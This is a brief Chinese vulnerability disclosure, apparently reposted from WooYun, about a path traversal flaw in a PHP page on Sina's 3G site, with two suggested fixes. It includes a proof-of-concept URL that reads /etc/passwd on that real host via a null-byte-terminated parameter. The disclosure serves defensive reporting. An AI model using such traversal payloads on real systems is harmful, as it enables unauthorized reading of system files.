简要描述：对提交的变量没有作安全过滤和可读取文件目录作严格的控制，导致可以读取系统上任意文件，因为是php架构，可能同时导致其它严重问题。 详细说明：
漏洞证明： http://3g.sina.com.cn/prog/wapsite/books/subtop.php?vt=&cate=/etc/passwd%00
修复方案：（1)限制操作目录。 （2）添加目录前缀。
作者 饭@乌云
查看更多关于新浪3G网站路径遍历及修复 - 网站安全 - 自学ph的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://haodehen.cn/did12864